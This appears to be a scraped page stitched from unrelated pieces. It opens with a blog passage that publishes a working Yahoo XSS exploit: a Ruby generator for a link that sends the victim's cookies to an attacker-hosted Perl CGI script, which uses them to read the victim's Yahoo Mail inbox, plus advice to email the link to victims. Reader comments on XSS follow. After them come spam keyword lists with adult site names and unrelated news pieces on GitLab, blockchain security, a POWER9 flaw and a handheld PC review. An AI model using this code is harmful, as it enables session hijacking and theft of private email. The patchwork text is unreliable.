site - You take the address that points to that CGI script and run it through the Ruby script included below in order to generate a link to Yahoo's XSS vulnerability - You send out emails with that link to your best friend, or everyone on Yahoo if you're a loser and have no friends Code to be hosted: #!/usr/bin/perl use CGI; use CGI::Carp qw(fatalsToBrowser); use URI::Escape; use HTTP::Cookies; use HTML::Entities; use LWP::UserAgent; $q = new CGI; print "Content-type: text/html\n\n"; $cookies = uri_unescape($q->param('x')); @cookies = split(/; /, $cookies); $cj = HTTP::Cookies->new; foreach $c (@cookies) { $c =~ /^([^=]+)=(.*)$/; $k = $1; $v = $2; $cj->set_cookie('', $k, $v, "/", "yahoo.com"); } $ua = LWP::UserAgent->new; $ua->cookie_jar($cj); $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4'); $r = $ua->simple_request(HTTP::Request->new(GET => "http://mail.yahoo.com/")); $r->header('Location') =~ /https?:\/\/([^\/]+)/; $host = $1; $r = $ua->get("http://$host/ym/ShowFolder?rb=Inbox"); if (!($r->content =~ /<a[^>]+id="folderviewmsg0subjlink"[^>]+href="([^"]+)/is)) { $url = "http://$host/ws/mail/v1/formrpc?m=ListMessages&appid=YahooMailRC&fid=Inbox&transform-markup=remove-javascript&startMid=0&numMid=300&startInfo=0&numInfo=30&sortKey=date&sortOrder=down"; $r = $ua->get($url); $r->content =~ /<url>\s*([^>]+)\s*/si; $r = $ua->get(decode_entities($1)); $r->content =~ /<mid>(.+?)<\/mid>/si; $mid = $1; $url = "http://$host/ws/mail/v1/formrpc?m=GetMessage&appid=YahooMailRC&fid=Inbox&message(0)-mid=$mid&message(0)-enableWarnings=true&message(0)-expandCIDReferences=true&message(0)-blockImages=all&truncateAt=1024000&transform-markup=remove-javascript&wssid=yr7G07oSPsarq&r=0.655461233731633"; $r = $ua->get($url); if ($r->content =~ /<url>\s*([^<]+)\s*/si) { $r = $ua->get(decode_entities($1)); } if ($r->content =~ /<part[^>]+subtype="html"[^<]+<text>(.+?)<\/text/si) { print decode_entities($1); } elsif ($r->content =~ /<part[^>]+type="text"[^<]+<text>(.+?)<\/text/si) { print decode_entities($1); } } else { $r = $ua->get("http://$host$1&PRINT=1"); $r->content =~ /(<div id="message.+?<\/div>)\s*<script>/si; print $1; } Code to generate Yahoo XSS exploit link: #!/usr/bin/ruby PATH_TO_CGI_SCRIPT = 'http://yourhostingsite.com/scriptname.cgi' x = %Q{ f=document.forms[0];f.method='POST';f.action='#{PATH_TO_CGI_SCRIPT}';f.x.value=document.cookie;f.submit() } s = %q{http://search.yahoo.com/web/advanced?ei=UTF-8&p=%22%3E%3Cimg%20src=14%20onerror=eval(String.fromCharCode(} s += x.strip.split(//).map{|s|s[0]}.join(",") s += %q{))%3E&y=Search&fr=yfp-t-501} puts s - Rarely Greys <rarely.greys at (Google's mail)> ed78040f0e776700f79d918e5be76a0d0b932ec48a1b2c823577b88a9dcf446ee09003a4154e8d9a0d89b3630396136e3100235388c1c7dc51226e4692b2cbfc ## 164 comments: To solve these problems, it would be best if developers stopped using languages like Ajax, HTML, Perl, e.t.c. Instead webpages should be written in new safe language which is compiled and executed within a sandbox. This is somewhat like writing the entire webpage as a Java Applet and the applet alone runs. (No HTML, Javascript, e.t.c.) didn't worked? After it was discovered that reddit had an XSS vunerability I wrote a quick post showing why developers need to start taking XSS seriously, Javascript is for hackers Also can I be the first to say: Arjun you are talking complete crap. We don't need to 'compile'websites. Instead developers just need to start cleaning user input!Making webpages compiled is, in my opinion, not going to fix anything... Every language has flaws and the beauty of HTML is that it can't do anything by itself, and JavaScript can only really do harm if you run an out of date browser (or internet explorer with all patches and updates but that's for another post... It's people using languages such as PHP and Perl who don't know what they're doing that's the problem, however you seem to be suggesting that HTML and Perl are in someway related in your post. HTML by itself cannot possibly be a hazard, and compiling web pages would not making any difference at all, except for making it incredibly hard to render web pages and even harder to actually make a site... It would also mean pretty much all websites with user-generated content would have to compile each post, which would waste time... And make it even HARDER to filter out XSS, which running in a sandbox wouldn't have any effect on The problem here is not Ajax, or Javascript. The problem here is that this is a long time known hack that was supposed to be closed, but wasn't. I wrote in my Ajax patterns and best practices book that you should never use this hack because one of these days it is going to nip you in the butt. So why did they not close this security hole? From what I know it would break most of the advertisements. @arjun: No, that does not solve XSS-related vulnerabilities. Short explanation:XSS is an attack type, in which the attacker abuses a vulnerable website to 'host' a malicious script. The victim is then lured to the (trusted!) website.Long explanation:The XSS attack in this article steals cookies from clients and leaves the server unharmed. The vulnerable website allows people to inject code into the page, just by forging an URL.When you pass that URL to the victim ("hey, check out this site!"), they visit the vulnerable website that contains a script that will pass the user's cookie for that website (e.g. Yahoo mail) to a cookie harvesting website. Automated scripts couldthen be used to steal the session and use the mailbox as if they were logged in.-end of explanation- Now, back to your approach. Jailing a newly written (and therefore probably more buggy than existing ones) web server will not affect this type of vulnerabilities. Most scripts that are XSS-vulnerable don't check the input given by the user, and trust it to be just fine as it is. Some websites (say, example.com, a trusted website) host given input (such as comments) directly. In that case, one could forge input so that it contains a (client side) script that does things example.com should never, ever do (such as passing cookies to veryveryevil.com, or redirecting the user to that page). So the problem lies in what the scripts that run the website mean, not in what the scriptsdo. That XSS vulnerabilities exist has everything to do with bad programming standards and/or negligence. This could be solved by education and/or loads of coffee.The programmers are the problem, not the tools. By the way, HTML is just a data representation language, not a programming language. And Ajax is not even a language, it's a web programming 'technique'. There was no sample link posted where the script can be supposedly tested? Can you give an example of such a script? I thought it was excess amounts of coffee during late night programming that caused these things! :-) Seriously, it took a long time before Serverside app developers started to sanitise their web input before feeding to their sql database, resulting in all sorts of sql injection. And most of these guys are "Software Engineers". It's gonna be a while before web developers start to write their code in a little more "secure" fasion. would extensions like NoScript prevent this exploit from occurring? @Arjun: Compiling a website by whatever technique u r thinking of is useless. One it will be difficult for the browser to render unless ofcourse the browser is redesigned. And u drop using HTTP protocol which by itself is stateless. The exploit is possible becuase Cookies are being saved on the client side to remember the sessions, in order to overcome the limitations of the stateless nature of HTTP. So unless u can figure of a way to skip this and the code remains unclean, these exploits will continue. So it's all down to clean and secure coding. And Oh.. just to remind you AJAX is not a language. Its a technique that uses XML(sometimes JSON as well) and Javascript to make web pages more dynamic. what arjun proposed is hardly coceivable when following secure programming / best practice guidelines is possible: http://www.rmoug.org/meetingpres/PolakBlind.pdf Let me correct a few things about this post. Web Developers did not cause this problem, it was the server side code that neglects to filter the content coming from the url. Exploits are found in software all the time and it's no big surprise that many software (and web) engineers don't know how to prevent them. To protect your code you have to be following the industry and always learning about the latest hacks. Many people are nine-to-fivers who do their job and go home. To prevent issues like this companies need to have separate teams dedicated to security to carry out code reviews and regular security checks on their systems. @Jeremy: you are talking crap! I am a web developer working for a studio and i know about xss as well as other 'hacks'!Am I a 'super developer'? No I am just a normal developer who does not try and palm my mistakes off onto someone else.Any developer who does not know how to clean user input for storage or display should just quit now, and I for one would not miss them! People like you Jeremy annoy me. you do not need a security audit you just need to be a better developer or you need to go get a less demanding job with zeroresponsibility!!Great write up, the amount of ignorance out there never ceases to amaze me. Take a look at my little "responsible disclosure" xss test: XSS vulnerabilities, do they even care? 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bangers - big titty amateurs - black addiction - black ass busters - black attack gangbang - blow patrol - boob inspector - cam club - cams - chix in the mix - chubby secrets - college party dates - creamed feet - cream filled babes - creampie surprise - cum farters - cum filled mouths - cummy pantyhose - cum thirsty - device bondage - dirty fuck dolls - double diper - drool my load - ebony auditions - ebony candy - ebony drippers - ebony knights - ebony love line - enigmatic asians - escort trick - ethnic pass - extreme wife swapping - facial cum targets - fantasy handjobs - frank wank - fucked tits - fucking machines - gagging whores - gay amateur match - gay dvd access - g bitches - hell fire sex - hog tied - hot gay porno - hot shemale sluts - in focus girls - interracial retreat - i want u - just adult movies - latin exposure - latin love line - latino exposed - lesbian sex city - lesbo trick - live hardcore shows - lonely wifes dating club - man hookups - mature touch - mega cock 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صنادل روعة ازياء ازياء أزياء ازيى صنادل صنادل أزياء روعه للبنات ازياء للبنات - ازياء الزفاف ازياء زفاف - مكيـاج لبناني مكياج - صنادل روعة روعة فساتين سهرة بالتفاصيل فساتين سهرة بالتفاصيل مكياج لأجمل عيون مكياج لاجمل عيون مكياج مكياج ايلي صعب ايلي صعب أيلي صعب إيلي صعب ازياء للمصمم ايلي صعب ازياء للمصمم ايلي صعب فساتين جديدة تحفة موت فساتين جديدة تحفة موت فساتين للمحجبات تحفه جدا ورقيقة فساتين للمحجبات فساتين للمحجبات فساتين للمحجبات صور للأزياء صور للازياء ازياء هنديه ازياء هندية أزياء هندية صور ازياء هنديه صور ازياء هندية أزياء أزياء ازياء أزياء هنديه هندية كبسة كبسة كبسه مواقع للطبخ والحلويات مواقع للطبخ والحلويات حلى التويكس حلى التويكس حلى حلى شامبانيا سعودي شمبانيا سعودي خلطة كنتاكى السرية خلطة كنتاكي كنتاكى كنتاكي حلى الخرفان حلى الخرفان حلى خرفان فـــطاير الــبطاطس فطاير البطاطس وصفه الملوخيه وصفه الملوخية وصفة الملوخية الملوخيه الملوخية الملوخيه كوكتيل برتقال مع منتديات خوخ برتقال البرتقال كوكتيل كوكتيل كرات الشوكلاته بالبندق كرات الشوكلاته كرات الشوكلاته كرات الشوكلاته اسكالوب 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Summary: Critical cross-site scripting (XSS) defect in Yahoo services is discovered Proof of concept of exploit is included XSS bu...

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https://techcrunch.com/2021/01/15/gitlab-raises-195m-in-secondary-funding-on-6b-valuation/

GitLab oversaw a $195 million secondary sale that values the company at $6 billion | TechCrunch

Ron Miller

GitLab has confirmed with TechCrunch that it oversaw a $195 million secondary sale that values the company at $6 billion. CNBC broke the story earlier today. The company’s impressive valuation comes after its most recent 2019 Series E in which it raised $268 million on a 2.75 billion valuation, an increase of $3.25 billion in under 18 months. Company co-founder and CEO Sid Sijbrandij believes the increase is due to his company’s progress adding functionality to the platform. “We believe the increase in valuation over the past year reflects the progress of our complete DevOps platform towards realizing a greater share of the growing, multi-billion dollar software development market,” he told TechCrunch. While the startup has raised over $434 million, this round involved buying employee stock options, a move that allows the company’s workers to cash in some of their equity prior to going public. CNBC reported that the firms buying the stock included Alta Park, HMI Capital, OMERS Growth Equity, TCV and Verition. Scaling to $100 million ARR: 3 founders share their insights The next logical step would appear to be IPO, something the company has never shied away from. In fact, it actually at one point included the proposed date of November 18, 2020 as a target IPO date on the company wiki. While they didn’t quite make that goal, Sijbrandij still sees the company going public at some point. He’s just not being so specific as in the past, suggesting that the company has plenty of runway left from the last funding round and can go public when the timing is right. “We continue to believe that being a public company is an integral part of realizing our mission. As a public company, GitLab would benefit from enhanced brand awareness, access to capital, shareholder liquidity, autonomy and transparency,” he said. He added, “That said, we want to maximize the outcome by selecting an opportune time. Our most recent capital raise was in 2019 and contributed to an already healthy balance sheet. A strong balance sheet and business model enables us to select a period that works best for realizing our long-term goals.” GitLab has not only published IPO goals on its Wiki, but its entire company philosophy, goals and OKRs for everyone to see. Sijbrandij told TechCrunch’s Alex Wilhelm at a TechCrunch Disrupt panel in September that he believes that transparency helps attract and keep employees. It doesn’t hurt that the company was and remains a fully remote organization, even pre-COVID. “We started [this level of] transparency to connect with the wider community around GitLab, but it turned out to be super beneficial for attracting great talent as well,” Sijbrandij told Wilhelm in September. The company, which launched in 2014, offers a DevOps platform to help move applications through the programming lifecycle. *Update: The original headline of this story has been changed from ‘GitLab raises $195M in secondary funding on $6 billion valuation.’*

GitLab has confirmed with TechCrunch that it oversaw a $195 million secondary sale that values the company at $6 billion. CNBC broke the story earlier

2024-10-12 00:00:00

2021-01-15 00:00:00

article

techcrunch.com

TechCrunch

https://www.technologyreview.com/s/610836/how-secure-is-blockchain-really/

How secure is blockchain really?

Mike Orcutt

The whole point of using a blockchain is to let people—in particular, people who don’t trust one another—share valuable data in a secure, tamperproof way. That’s because blockchains store data using sophisticated math and innovative software rules that are extremely difficult for attackers to manipulate. But the security of even the best-designed blockchain systems can fail in places where the fancy math and software rules come into contact with humans, who are skilled cheaters, in the real world, where things can get messy. To understand why, start with what makes blockchains “secure” in principle. Bitcoin is a good example. In Bitcoin’s blockchain, the shared data is the history of every Bitcoin transaction ever made: an accounting ledger. The ledger is stored in multiple copies on a network of computers, called “nodes.” Each time someone submits a transaction to the ledger, the nodes check to make sure the transaction is valid—that whoever spent a bitcoin had a bitcoin to spend. A subset of them compete to package valid transactions into “blocks” and add them to a chain of previous ones. The owners of these nodes are called miners. Miners who successfully add new blocks to the chain earn bitcoins as a reward. What makes this system theoretically tamperproof is two things: a cryptographic fingerprint unique to each block, and a “consensus protocol,” the process by which the nodes in the network agree on a shared history. The fingerprint, called a hash, takes a lot of computing time and energy to generate initially. It thus serves as proof that the miner who added the block to the blockchain did the computational work to earn a bitcoin reward (for this reason, Bitcoin is said to use a “proof-of-work” protocol). It also serves as a kind of seal, since altering the block would require generating a new hash. Verifying whether or not the hash matches its block, however, is easy, and once the nodes have done so they update their respective copies of the blockchain with the new block. This is the consensus protocol. The final security element is that the hashes also serve as the links in the blockchain: each block includes the previous block’s unique hash. So if you want to change an entry in the ledger retroactively, you have to calculate a new hash not only for the block it’s in but also for every subsequent block. And you have to do this faster than the other nodes can add new blocks to the chain. So unless you have computers that are more powerful than the rest of the nodes combined (and even then, success isn’t guaranteed), any blocks you add will conflict with existing ones, and the other nodes will automatically reject your alterations. This is what makes the blockchain tamperproof, or “immutable.” ### Creative ways to cheat So much for the theory. Implementing it in practice is harder. The mere fact that a system works like Bitcoin—as many cryptocurrencies do—doesn’t mean it’s just as secure. Even when developers use tried-and-true cryptographic tools, it is easy to accidentally put them together in ways that are not secure, says Neha Narula, director of MIT’s Digital Currency Initiative. Bitcoin has been around the longest, so it’s the most thoroughly battle-tested. People have also found creative ways to cheat. Emin Gün Sirer and his colleagues at Cornell University have shown that there is a way to subvert a blockchain even if you have less than half the mining power of the other miners. The details are somewhat technical, but essentially a “selfish miner” can gain an unfair advantage by fooling other nodes into wasting time on already-solved crypto-puzzles. Another possibility is an “eclipse attack.” Nodes on the blockchain must remain in constant communication in order to compare data. An attacker who manages to take control of one node’s communications and fool it into accepting false data that appears to come from the rest of the network can trick it into wasting resources or confirming fake transactions. Finally, no matter how tamperproof a blockchain protocol is, it “does not exist in a vacuum,” says Sirer. The cryptocurrency hacks driving recent headlines are usually failures at places where blockchain systems connect with the real world—for example, in software clients and third-party applications. Hackers can, for instance, break into “hot wallets,” internet-connected applications for storing the private cryptographic keys that anyone who owns cryptocurrency requires in order to spend it. Wallets owned by online cryptocurrency exchanges have become prime targets. Many exchanges claim they keep most of their users’ money in “cold” hardware wallets—storage devices disconnected from the internet. But as the January heist of more than $500 million worth of cryptocurrency from the Japan-based exchange Coincheck showed, that’s not always the case. Perhaps the most complicated touchpoints between blockchains and the real world are “smart contracts,” which are computer programs stored in certain kinds of blockchain that can automate transactions. In 2016, hackers exploited an unforeseen quirk in a smart contract written on Ethereum’s blockchain to steal 3.6 million ether, worth around $80 million at the time, from the Decentralized Autonomous Organization (DAO), a new kind of blockchain-based investment fund. Since the DAO code lived on the blockchain, the Ethereum community had to push a controversial software upgrade called a “hard fork” to get the money back—essentially creating a new version of history in which the money was never stolen. Researchers are still developing methods for ensuring that smart contracts won’t malfunction. ### The centralization question One supposed security guarantee of a blockchain system is “decentralization.” If copies of the blockchain are kept on a large and widely distributed network of nodes, there’s no one weak point to attack, and it’s hard for anyone to build up enough computing power to subvert the network. But recent work by Sirer and colleagues shows that neither Bitcoin nor Ethereum is as decentralized as you might think. They found that the top four bitcoin-mining operations had more than 53 percent of the system’s average mining capacity per week. By the same measure, three Ethereum miners accounted for 61 percent. Some say alternative consensus protocols, perhaps ones that don’t rely on mining, could be more secure. But this hypothesis hasn’t been tested at a large scale, and new protocols would likely have their own security problems. Others see potential in blockchains that require permission to join, unlike in Bitcoin’s case, where anyone who downloads the software can join the network. Such systems are anathema to the anti-hierarchical ethos of cryptocurrencies, but the approach appeals to financial and other institutions looking to exploit the advantages of a shared cryptographic database. Permissioned systems, however, raise their own questions. Who has the authority to grant permission? How will the system ensure that the validators are who they say they are? A permissioned system may make its owners feel more secure, but it really just gives them more control, which means they can make changes whether or not other network participants agree—something true believers would see as violating the very idea of blockchain. So in the end, “secure” ends up being very hard to define in the context of blockchains. Secure from whom? Secure for what? “It depends on your perspective,” says Narula. ### Keep Reading ### Most Popular ### Happy birthday, baby! What the future holds for those born today An intelligent digital agent could be a companion for life—and other predictions for the next 125 years. ### This researcher wants to replace your brain, little by little The US government just hired a researcher who thinks we can beat aging with fresh cloned bodies and brain updates. ### How to break free of Spotify’s algorithm By delivering what people seem to want, has Spotify killed the joy of music discovery? ### Stay connected ## Get the latest updates from MIT Technology Review Discover special offers, top stories, upcoming events, and more.

It turns out “secure” is a funny word to pin down.

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technologyreview.com

MIT Technology Review

https://www.nytimes.com/2019/04/08/us/chinese-woman-mar-a-lago.html

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https://www.phoronix.com/scan.php?page=news_item&px=IBM-POWER-L1-CVE-2020-4788

IBM POWER9 CPUs Need To Flush Their L1 Cache Between Privilege Boundaries Due To New Bug

Michael Larabel

# IBM POWER9 CPUs Need To Flush Their L1 Cache Between Privilege Boundaries Due To New Bug CVE-2020-4788 is now public and it's not good for IBM and their POWER9 processors... This new vulnerability means these IBM processors need to be flushing their L1 data cache between privilege boundaries, similar to other recent CPU nightmares. While IBM POWER9 allows speculatively operating on completely validated data in the L1 cache, when it comes to incompletely validated data that bad things can happen. Paired with other side channels, local users could improperly obtain data from the L1 cache. CVE-2020-4788 was made public this morning and is now causing all stable Linux kernel series to receive the mitigation that amounts to hundreds of lines of new code. The mitigation is flushing the L1 data cache for IBM POWER9 CPUs across privilege boundaries -- both upon entering the kernel and on user accesses. This frequent flushing of the L1 data cache is bad news for performance. As such there is a No performance benchmarks were provided of the impact to POWER9 performance from this heavy flushing, but I'll be working on some benchmarks soon. The mitigation is in the process of being back-ported to all the currently maintained kernel series. This route is similar to the optional L1d flushing for Intel CPUs on context switching that is still working its way to mainline. More details on this nasty hitting issue via the oss-security list. While IBM POWER9 allows speculatively operating on completely validated data in the L1 cache, when it comes to incompletely validated data that bad things can happen. Paired with other side channels, local users could improperly obtain data from the L1 cache. CVE-2020-4788 was made public this morning and is now causing all stable Linux kernel series to receive the mitigation that amounts to hundreds of lines of new code. The mitigation is flushing the L1 data cache for IBM POWER9 CPUs across privilege boundaries -- both upon entering the kernel and on user accesses. This frequent flushing of the L1 data cache is bad news for performance. As such there is a *no_entry_flush*kernel option that is being added to avoid flushing the L1d cache on entering the kernel. Likewise,*no_uaccess_flush*is another new option to disable the L1 flushing on user accesses.No performance benchmarks were provided of the impact to POWER9 performance from this heavy flushing, but I'll be working on some benchmarks soon. The mitigation is in the process of being back-ported to all the currently maintained kernel series. This route is similar to the optional L1d flushing for Intel CPUs on context switching that is still working its way to mainline. More details on this nasty hitting issue via the oss-security list. 16 Comments

CVE-2020-4788 is now public and it's not good for IBM and their POWER9 processors..

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GPD Win 3: The Tide-Me-Over for the Steam Deck?

Cow Killer

## GPD Win 3: The Tide-Me-Over for the Steam Deck? The GPD (Gamepad Digital) Win 3 is a handheld PC manufactured in (you guessed it) Shenzhen, China. Impatient me didn’t want to wait for the Steam Deck, so I got this in the meantime. Sure, the Deck starts shipping just a month from now, but I’m in the Q2 category, so for all I know I could be waiting until June. The GPD Win 3 was launched early last year and is the successor to the GPD Win 2 and GPD Win Max. Basically, it comes with upgraded hardware, going from an Intel Core M3-based processor to Tiger Lake, double the RAM, much larger storage capacity, etc. The third-generation hardware has also been redesigned, going for a Switch-like appearance rather than a super tiny laptop. While I would have preferred to go with the Aya Neo or even the Onexplayer, prices are outragous. I got a much better deal getting the GPD. ## Specs and Price I seemed to have been pretty lucky, scoring a used GPD Win 3 on eBay for $900, with a USB-C dock and controller grip (+ $56 tax) with free shipping. Normally these go for $1,000-1,200: Even the case itself is selling for an average of $45, the dock ~$150, and the silicon grip for $16. Talk about ouch. Got it in the mail one week later. Seemed like the seller kept it in pretty good condition; not that many scratches on the screen, no dirt to be found anywhere. The device was factory reset with Windows 10. The GPD Win 3 comes in three different models, based on the CPU: Intel Core i5-1135G7, i7-1165G7, and i7-1195G7. I happen to fall in the mid-range category. The i7-1165G7 is a quad-core, eight-threaded processor with a base speed of 2.8 GHz and a max turbo speed of 4.7 GHz. Power consumption can be as little as 15 watts or go up to 28 watts. Tiger Lake processors make use of the Xe graphics; far better than the Intel HD graphics that we were stuck with for a long time. 16 GB of LPDDR4x RAM is supplied, clocked at 4,266 MHz. LPDDR4x at this speed, especially with integrated graphics, provides a boost when it comes to gaming performance over traditional DDR4. For instance, *Counter Strike: Global Offensive* renders about 24 FPS faster (1080p, lowest settings) when paired with LPDDR4x, according to Hardware Unboxed. Which is good news here; we want to squeeze every inch that we can with integrated graphics, since we don’t have a discrete GPU. If you wanted to upgrade the RAM, I actually don’t think it’s possible; there’s no slots for it on the motherboard and the 16 GB RAM included is soldered on. 1 TB NVMe storage is provided, and believe it or not GPD was able to fit in a full-sized M.2 drive (2280, rather than the Steam Deck’s tiny 2230). Upgrading this hard drive requires taking the tiny Philips screws off the back casing, taking the fan out, unscrewing the screw that holds the M.2 in place, taking it out, and putting the new one in. There’s also a MicroSD card slot for additional storage. Wi-Fi 6 and Bluetooth 5 are included. The screen is touch-screen capable and measures 5.5” across the board; it’s the same screen size as the Switch Lite. The aspect ratio is 16:9, with a resolution of 1280x720 (actually good to see this, rather than the odd resolution the Deck and other PC handhelds come with). It’s definitely not anti-glare though. Sliding the screen upwards reveals a small keyboard. The keyboard isn’t using physical keys; kind of think of the keyboards the Blackberry had, where they are touch-sensitive, with no pressure when touched. Pressing any of the keys produces haptic feedback. After 10 seconds or so of inactivity, the keyboard backlights shut off. Pressing a key will bring the backlight up again. I definitely wouldn’t recommend typing an essay with it; it’s more so for brief usage, like if you wanted a game to go fullscreen with “Alt + Enter” or something along those lines. For physical connections, there is a USB 3.1 Type A port on the top, a 3.5mm headphone jack, a volume rocker, a power button, and a USB-C port on the bottom. The USB-C port is typically used for charging the device or connecting it to a dock, and it also supports Thunderbolt 4. The dock that is typically supplied with the device adds an Ethernet port, three USB 3 ports, a full-size HDMI port, and a USB-C port. Dual speakers for audio output are positioned to the bottom left and the bottom right. Three batteries are duck-taped together inside the casing. Wikipedia mentions that these are rated at 5,000 mAh each, but when I took the device apart I’m pretty sure it said 3,950. The charger that comes with the device is 65W and can supposedly fully charge the unit in an hour-and-a-half. Altogether the GPD Win 3 weighs 550 grams (about 20 ounces; a little over a pound). Buttons included are the typical ones you’d find in any modern gamepad: twin clickable thumbsticks, a D-pad, four face buttons, Select, Start, shoulder buttons and analog triggers. The device comes with dual haptic motors, but there’s no gyro. There’s two additional buttons on the back. There’s also a Guide button (which, for some reason, is labeled as “X”) and a fingerprint sensor, but apparently the fingerprint sensor doesn’t work on Linux. There’s a slider towards the left where you can seamlessly switch between gamepad mode and a mouse. Gamepad mode works exactly as it says; mouse mode makes the right analog stick act like a mouse. The left shoulder button acts like a left-mouse click, and right shoulder, right. This is actually pretty useful when you’re on the desktop and not using Steam BPM. ## Experience Now that the dry laundry list of specs is over, let’s talk about the general experience. I mentioned earlier the GPD Win 3 has Windows 10 Home pre-installed. Of course, I got rid of that and tried ChimeraOS to get as close of a Steam Deck-like experience as possible. Installation went fine. The only thing I really had to do was create an `alsa-base.conf` file in `/etc/modprobe.d/` , add a single line to it, then restart the device to get audio working. Thank goodness for the Arch Wiki. Quite a few games I installed. I noticed *Halo: MCC* ran very well here: the framerate mostly hovered around 60 FPS on original settings. Framerate would dip to as low as 30 if there was a busy scene. However, *Dirt 5* crashed when launching the game. This is a problem with Intel; not Linux, as even Windows users suffer from the same issue. *Hot Wheels Unleashed* got into the menus, but would be hit or miss when going to the car selection menu. Even if I got there, starting a race would inevitably crash the game. I had to force DX11 with `-dx11` , then the game was working fine. *GRID (2019)* would launch, but the screen was just black, even though I could hear audio. Emulation was also hit and miss. *Super Smash Bros. Melee* suffered from terrible screen tearing. Oddly enough, running *Metroid Prime* was a flawless experience. Even after enabling Vsync on Retroarch, the screen tearing was still evident on *Smash Bros.*, although it wasn’t as bad as before. While running *Halo*, battery lasted an hour-and-a-half from a full charge. After disabling Bluetooth and Wi-Fi, installing the `tlp` package, limiting the FPS to 30 via MangoHUD, and setting the resolution scale to 67%, I got double the battery life at three hours. Not terrible, but not great either. According to our interview with an anonymous developer, the Deck lasts two-to-five hours on average, depending on the load. So perhaps the battery life on the GPD will be the same as the Deck. Suspend didn’t work under ChimeraOS. I either had to keep the device on or just shut it down completely. Audio can get quite loud on the highest volume. That being said, the quality isn’t great; it sounds like it’s coming from a 90s sitcom. After borking my ChimeraOS install (by running `sudo frzr-unlock` to unlock the immutable file system, then `sudo pacman -Syu` to upgrade the packages. Pretty dumb of me to do that), I went on to try Arch. Installation was also pretty painless here, but I had to apply the same tweaks as before to get audio working. I also had to correct the screen orientation, as it was in portrait mode, and install the touchscreen driver in order to get it to work. Then I just installed `steamos-compositor-plus` so I could get that console-like experience. Now there’s no screen tearing with *Super Smash Bros. Melee* (perhaps Arch had already added an anti-tearing parameter in `xorg.conf` , whereas ChimeraOS didn’t). But the same games that I tried before that crashed produced the same result. *F1 2020* just hangs on the main menu indefinitely, even when using DX11. The Arch Wiki mentions installing the `xf86-video-intel` package to alleviate screen tearing, and for all I know that could probably get rid of the root cause of so many of these games crashing, but from what I’ve been told, the `xf86-video-intel` driver “destroys performance on Xe graphics” and would only be useful for “older Iris or Intel HD series.” I will say, though, cloud gaming via Xbox Game Pass was a great experience. Using Microsoft Edge, the quality while streaming was spectacular. Combined with minimal latency, it felt like I was really holding a portable Xbox. Running *Hades* had the same battery life with the Vulkan backend as playing *Halo*; three hours. Suspend works on the desktop, but after waking the device back up, the keyboard won’t work. I found that hibernate works better. **Ergonomics.** The thumbsticks are smaller than your typical set of thumbsticks. They also “stick out” a little bit farther when pushing them. I wouldn’t say it detracts from the experience though; for the most part they’ll get the job done, and you’ll get used to it after a while. That being said, one thing that I definitely had to adapt to was the right thumbstick being positioned above the face buttons. Typically they would be located towards the bottom, whether it’s a PlayStation, Xbox, or Switch Pro gamepad. It has made inputting smash attacks or air attacks in *Smash Bros.* a little more difficult. I would normally have my thumb or my pointer finger on one of the face buttons, then slide my thumb across the right joystick to get that forward air attack in, but the placement of this thumbstick has made it a bit awkward to adjust to. It will take me some time but my brain will probably make the connections after a few more hours. The D-pad sort of resembles the pad from the DS4, but it’s smaller and the individual directions are connected rather than being spaced apart from each other. Not bad; it’s clicky and somewhat mushy at the same time, but again, gets the job done. Overall the buttons are small; not great for someone like me who has larger hands, but fortunately the controller grip makes the experience a little more comfortable. The two back buttons are a bit awkwardly placed, and I couldn’t figure out how to assign macros to them through Steam. I would probably have to configure third-party software in order to make use of them. **Desktop experience.** With a USB-C dock, you can use the GPD Win 3 like any other desktop. You can plug in a keyboard, mouse, and HDMI cable if you wanted to use an external monitor. But even without the dock, the slide-in keyboard and the mouse mode built into the device still allows navigation and use across the desktop. It’s definitely not going to offer the same sort of convenience an external mouse and keyboard will give, but at least it’s something when you’re on the go or you don’t have those peripherals available. ## Performance If you’ve been a long time reader of Boiling Steam, you may have come across my Darter Pro laptop review from System76 last year. That laptop had the same processor as this one: the i7-1165G7. As such, we can glean a lot of information going by the benchmarks there. The basic idea is you can run *Shadow of the Tomb Raider* at an average of 30 FPS at 720p, low settings. *F1 2017* ran at an average of 68 FPS on the lowest settings at the same resolution. The point is, while we used to laugh at Intel for their iGPU performance, they seriously ramped up their efforts starting with Tiger Lake. Still not going to be anywhere near as good as AMD’s APUs, but even AAA gaming on the lowest settings is feasible, provided the game has a DX11 backend available or it’s natively available on Linux. While I would have liked to include a few more benchmarks here from other games, those games simply didn’t run: *Horizon Zero Dawn*, *F1 2020*, *GRID (2019)*, etc…Xe graphics just doesn’t seem to fair well with DX12. On this note, developers are aware of DX12 incompatibility with Intel and have been trying to work on it for over…seven months now. So this will still probably take a lot more time before anything happens. There’s also a launch parameter that can be used on Intel to use a DX12 feature override: `VKD3D_FEATURE_LEVEL=12_0 %command%` But on the games I tried (particularly *Horizon Zero Dawn*), this didn’t produce any different results. As more and more games these days ship with DX12, work on this issue is vital. In the meantime, you can reference this unofficial spreadsheet of game compatibility with Xe graphics, and use this Mesa pull request to fix the flickering present in some games. ## Should You Get It? No. Hold off until you get the Deck. It’s great to have a portable x86-based system, but Intel…man. Better iGPU performance over previous generations, yes, but with a lot of games simply not running, either producing a black screen with audio in the background, hanging indefinitely, or crashing, it’s not worth it. You have to be a bit peculiar with your game choices. Force DX11 if possible. *Halo: MCC*, yes, pretty much any modern AAA racing game with DX12, no. Ergonomics aren’t bad; the buttons and thumbsticks are a bit small, but you’ll get used to it. The only reason why I reached three hours of battery life playing *Halo* was because I had brightness at 10-20%, Wi-Fi and Bluetooth disabled, FPS limited to 30, `tlp` installed and running in the background, vibration disabled, and resolution scaling set to 0.67. Otherwise, the battery would only last an hour-and-a-half. I’m hoping we’re not going to have to apply the same sort of schematics to the Steam Deck to get the same amount of battery life. But I’m pretty sure I’m wrong. https://peertube.linuxrocks.online/w/5auY57cUB9QtkU4YUAS9hj That, and I got this at pretty much a steal at $900, *used.* That’s over *double* the price of the base model Steam Deck, new. Double the price with a smaller screen, lack of gyro, one class lower for RAM, bad game compatibility… If you really can’t wait for the Deck, I’d recommend either getting the Aya Neo or the Onexplayer with the AMD Ryzen processor. Only problem there is, prices for those wildly vary, but generally cost around $1,500 used on eBay. So unless you got a lot of dough, hold off until the release of the Steam Deck. Or just get yourself a Switch; many of the same games available on Steam are available on Nintendo’s handheld (particularly indies). You’d just have to buy the games again though.

GPD Win 3: The Tide-Me-Over for the Steam Deck?

2024-10-12 00:00:00

2022-02-03 00:00:00

